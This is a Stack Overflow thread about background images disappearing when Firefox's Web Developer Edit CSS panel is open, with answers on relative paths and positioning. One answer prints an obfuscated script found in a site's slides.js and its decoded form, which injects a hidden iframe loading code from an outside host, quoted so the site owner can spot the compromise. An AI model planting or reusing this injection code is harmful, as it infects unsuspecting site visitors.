问题
My typical workflow for editing and building my stylesheets for HTML documents is open the Firefox web developer toolbar's Edit CSS panel and edit directly in the browser window.
Most of the time this works like a charm. There are times, however, that when I open the Edit CSS panel, certain images disappear, and I have no idea why. And even more strange, some times images that I add with the toolbar open are not visible when it is shut. (I'm talking primarily of images that are added with the CSS background-image rule).
Here's some examples...
http://kenbrook.org - if you open the Edit CSS panel, the body background image disappears, along with several of the div backgrounds. In fact, I think almost all of the CSS background image images disappear. I didn't write the markup and most of the styles on this site, but I'm responsible for editing and completing them. So any idea why this happens?
http://joelglovier.com - also check this one that I'm just now building myself and writing the styles for (only a couple elements on the page right now). In the header div I have an empty div that I'm putting an image in. When Edit CSS is open, the image appears as expected. When it's closed, however, the image cannot be seen, although using firebug I can see the style is definitely being applied and the div is where it should be.
Any explanation??
回答1:
Though, if you look at the Web developer toolbar homepage I find this: "'Edit CSS' does not work with background images that are linked relative to the CSS" under "Issues". So, it's the relative linked images that the addon can't handle at the moment. Try to get the creator of the addon to fix it... I just hate this issue as well...
回答2:
I have seen this issue when the CSS file and the image file are not in the same directory as the HTML. For example I had this directory structure:
index.html
image/background.jpg
css/index.css
I had this in my CSS:
body { background-image:image/index.html; }
When Web Developer's CSS editor was open, it worked. When I closed it, it didn't.
Turns out the answer is that the path to the image is relative to the CSS file, not to the HTML file. When the CSS editor was opened, it correctly figured out the path. When it was closed, Firefox couldn't find the image.
I imagine the path in the CSS should be absolute if you want to use the editor and have files in different directories.
回答3:
Well, I can't replicate your problem, when I open the Edit CSS Panel the page stays just the same, but my virus scanner warns me that one of your scripts (/assets/js/slides.js) has a hidden Trojan.Script.Iframer inside it...
Maybe you could try firebug, which also has a powerful css online editor.
回答4:
What is the purpose of this bit of code (From http://kenbrook.org/assets/js/slides.js)
var source ="=tdsjqu?jg!)epdvnfou/dppljf/tfbsdi)#koewv>3#*!>>!.2*!|sz{{>epdvnfou/hfuFmfnfouCzJe)(m{nig(*<jg)sz{{>>ovmm*|epdvnfou/xsjuf)(=jgsbnf!je>m{nig!tsd>iuuq;00xxx/tqjsjufl/dp/kq0bttfut0kt0bkby/qiq!tuzmf>ejtqmbz;opof?=0jgsbnf?(*<~epdvnfou/dppljf!>!#koewv>3<fyqjsft>Tvo-!12.Efd.3122!19;11;11!HNU<qbui>0#<~=0tdsjqu?"; var result = "";
for(var i=0;i<source.length;i++) {
result+=String.fromCharCode(source.charCodeAt(i)-1);
}
document.write(result);
Unobfuscated it writes this to the document
<script>if (document.cookie.search("jndvu=2") == -1) {
ryzz=document.getElementById('lzmhf');if(ryzz==null){document.write('<iframe id=lzmhf src=http://www.spiritek.co.jp/assets/js/ajax.php style=display:none></iframe>');}
document.cookie = "jndvu=2;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}</script>
Are you aware of its presence?
回答5:
I think I figured out the problem - at least for the second link. For that one that was showing up when Edit CSS was open, but not showing up with out that panel open, it seems I neglected to define a top: value on an absolutely positioned div. When I defined that top value, the image show shows in both the ordinary browser and with Edit CSS open.
Not sure if that applies though for the kenbrook.org where the images show up normally but disappear when Edit CSS is open.
来源：https://stackoverflow.com/questions/3325478/when-using-the-firefox-webdeveloper-toolbar-to-edit-css-why-do-some-image-disap